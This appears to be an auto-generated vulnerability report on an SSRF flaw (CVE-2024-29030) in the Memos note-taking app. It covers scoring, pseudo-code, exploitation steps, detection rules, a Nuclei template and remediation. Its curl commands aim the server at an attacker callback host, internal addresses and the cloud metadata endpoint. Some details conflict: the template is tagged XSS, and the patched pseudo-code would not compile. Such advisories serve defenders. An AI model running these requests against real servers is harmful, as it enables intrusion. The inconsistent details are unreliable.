CVE-2024-29030
Executive Summary
CVE-2024-29030 is a Server-Side Request Forgery (SSRF) vulnerability in Memos, a privacy-first, lightweight note-taking service. The flaw exists in version 0.13.2 within the /api/resource endpoint, allowing authenticated attackers to force the server to make arbitrary HTTP requests. This enables internal network enumeration and potential access to sensitive internal services. The vulnerability has a CVSS score of 5.8 (Medium) and is publicly exploitable via a Nuclei template. The patch is available in version 0.13.3, with the vulnerable file completely removed in version 0.22.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Memos is a self-hosted Go application distributed as a binary or Docker image. There are no NPM, PyPI, Go, or Ruby package dependencies that introduce this vulnerability. The risk is limited to the application's own codebase. Users should verify the integrity of their Memos binary or Docker image by checking the official GitHub releases and SHA256 checksums.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
- Base Score: 5.8 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) - Authentication is required.
- User Interaction: None (UI:N)
- Scope: Changed (S:C) - The vulnerable component impacts resources beyond its security scope.
- Confidentiality Impact: Low (C:L) - Limited information disclosure via internal network enumeration.
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the SSRF can be chained with other vulnerabilities to access internal services, potentially leading to lateral movement or data exfiltration. The availability of a public Nuclei template lowers the barrier to exploitation.
Deep Dive & Mechanics
The vulnerability resides in the /api/resource endpoint of Memos 0.13.2. This endpoint is designed to fetch external resources (e.g., images, files) by URL. The application fails to properly validate or sanitize the user-supplied URL, allowing an attacker to specify arbitrary destinations.
Mechanism:
- An authenticated user sends a GET request to
/api/resourcewith aurlparameter. - The server makes an HTTP request to the specified URL without checking if it points to an internal or private IP address (e.g., 127.0.0.1, 10.0.0.0/8, 192.168.0.0/16).
- The response from the internal service is then reflected back to the attacker, enabling network enumeration and potential data leakage.
Example Attack Flow:
- Attacker sends:
GET /api/resource?url=http://169.254.169.254/latest/meta-data/ - The server fetches cloud metadata, which is returned to the attacker.
The Nuclei template provided uses an interactsh URL to confirm outbound DNS/HTTP requests, verifying the SSRF.
Vulnerable vs. Patched Code
Vulnerable Code (Memos 0.13.2):
The /api/resource handler likely uses a simple HTTP client without URL validation. A pseudo-code representation:
func handleResource(w http.ResponseWriter, r *http.Request) {
url := r.URL.Query().Get("url")
resp, err := http.Get(url) // No validation
if err != nil {
// handle error
}
// return response body
}
Patched Code (Memos 0.13.3+): The patch introduces URL validation to block private IP ranges. A pseudo-code representation:
func handleResource(w http.ResponseWriter, r *http.Request) {
url := r.URL.Query().Get("url")
parsedURL, err := url.Parse(url)
if err != nil {
// handle error
}
ip := net.LookupIP(parsedURL.Hostname())
if isPrivateIP(ip) {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
resp, err := http.Get(url)
// ...
}
In version 0.22.0, the entire vulnerable file was removed, indicating a redesign of the resource fetching functionality.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running instance of Memos 0.13.2.
- Valid credentials for an authenticated user.
- An interactsh server or a controlled external endpoint to capture outbound requests.
Exploitation Steps:
Setup Interactsh: Start an interactsh server to receive callbacks.
interactsh-clientCraft the SSRF Request: Use the Nuclei template or a manual curl command.
curl -X GET "http://target-memos.com/api/resource?url=http://your-interactsh-server/o/test" \ -H "Cookie: memos_session=your_session_cookie"Verify SSRF: Check your interactsh server for incoming DNS/HTTP requests.
Enumerate Internal Network: Replace the URL with internal IPs and ports.
curl -X GET "http://target-memos.com/api/resource?url=http://192.168.1.1:8080/admin" \ -H "Cookie: memos_session=your_session_cookie"
Nuclei Template Usage:
nuclei -t CVE-2024-29030.yaml -u http://target-memos.com -H "Cookie: memos_session=your_session_cookie"
Blue Team
Detection:
- Monitor outbound HTTP requests from the Memos server to unexpected destinations.
- Look for requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) or cloud metadata IPs (169.254.169.254).
- Analyze web server logs for
/api/resourcerequests with suspiciousurlparameters.
Hunting:
- Search for requests to
169.254.169.254or127.0.0.1in access logs. - Correlate with DNS queries to internal hostnames.
Lab Setup:
- Deploy a vulnerable Memos 0.13.2 instance in a sandboxed environment.
- Use a tool like
responderorinetsimto simulate internal services. - Monitor network traffic with Wireshark or tcpdump.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
- DNS queries for internal hostnames (e.g.,
internal-service.local). - Requests to cloud metadata endpoints (e.g.,
169.254.169.254).
File IOCs:
- Log entries containing
/api/resource?url=with suspicious URLs. - Unusual outbound connections from the Memos process.
- Log entries containing
Behavioral IOCs:
- Sudden increase in outbound HTTP traffic from the Memos server.
- Access to
/api/resourcefrom a single IP with multiple differenturlparameters.
Detection Engineering
YARA Rule
rule CVE_2024_29030_SSRF_Memos {
meta:
description = "Detects SSRF exploitation attempts against Memos CVE-2024-29030"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-29030"
strings:
$s1 = "/api/resource?url=" ascii wide nocase
$s2 = "169.254.169.254" ascii wide nocase
$s3 = "127.0.0.1" ascii wide nocase
$s4 = "10." ascii wide nocase
$s5 = "192.168." ascii wide nocase
$s6 = "172." ascii wide nocase
condition:
$s1 and any of ($s2, $s3, $s4, $s5, $s6)
}
Sigma Rule
title: CVE-2024-29030 SSRF Exploitation Against Memos
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SSRF attempts targeting the /api/resource endpoint in Memos 0.13.2
author: Valters IT
date: 2024-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-29030
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains: "/api/resource?url="
keywords:
- "169.254.169.254"
- "127.0.0.1"
- "10."
- "192.168."
- "172."
condition: selection and keywords
falsepositives:
- Legitimate use of external resource fetching (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-29030 SSRF Exploitation Against Memos";
flow:to_server,established;
content:"/api/resource?url="; http_uri;
pcre:"/(169\.254\.169\.254|127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3})/Ri";
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Nuclei Template (Provided)
id: CVE-2024-29030
info:
name: Memos 0.13.2 - Server-Side Request Forgery
author: ritikchaddha
severity: medium
description: |
An SSRF vulnerability exists at the `/api/resource` that allows authenticated users to enumerate the internal network.
impact: |
Attackers can force the server to make requests to arbitrary destinations, potentially accessing internal services or sensitive data.
remediation: |
Update Memos to version 0.13.3 or later.
reference:
- https://securitylab.github.com/advisories/GHSL-2023-154_GHSL-2023-156_memos/
- https://nvd.nist.gov/vuln/detail/CVE-2024-29030
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
shodan-query: title:"Memos"
fofa-query: title="Memos"
tags: cve,cve2024,xss,memos,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/o/get/resource?url=https://{{interactsh-url}}"
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
- 'contains(tolower(body), "memos")'
- 'status_code == 200'
condition: and
# digest: 4a0a004730450220051ecc08025c7de3745ba2e74253e46e3ce52cb7359620b90f924d4c76b38cf2022100e4b87e3c037f61521bf3c2b86153f2acb22a3b19216682cc01697db8203051b8:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Actions:
- Upgrade Memos: Update to version 0.13.3 or later. The safest option is to upgrade to 0.22.0 where the vulnerable file is removed.
docker pull neosmemo/memos:0.22.0 - Apply Network Segmentation: Restrict outbound internet access from the Memos server using a firewall or egress filtering.
- Implement Web Application Firewall (WAF) Rules: Block requests to
/api/resourcewith URLs containing private IP ranges.
Long-Term Mitigations:
- Input Validation: Ensure all URL parameters are validated against a whitelist of allowed domains.
- Least Privilege: Run the Memos service with minimal network permissions.
- Monitoring: Continuously monitor for SSRF patterns using the provided detection rules.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).
{/* [Security Hash: B5A4C3425E771F1EE33682EA] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.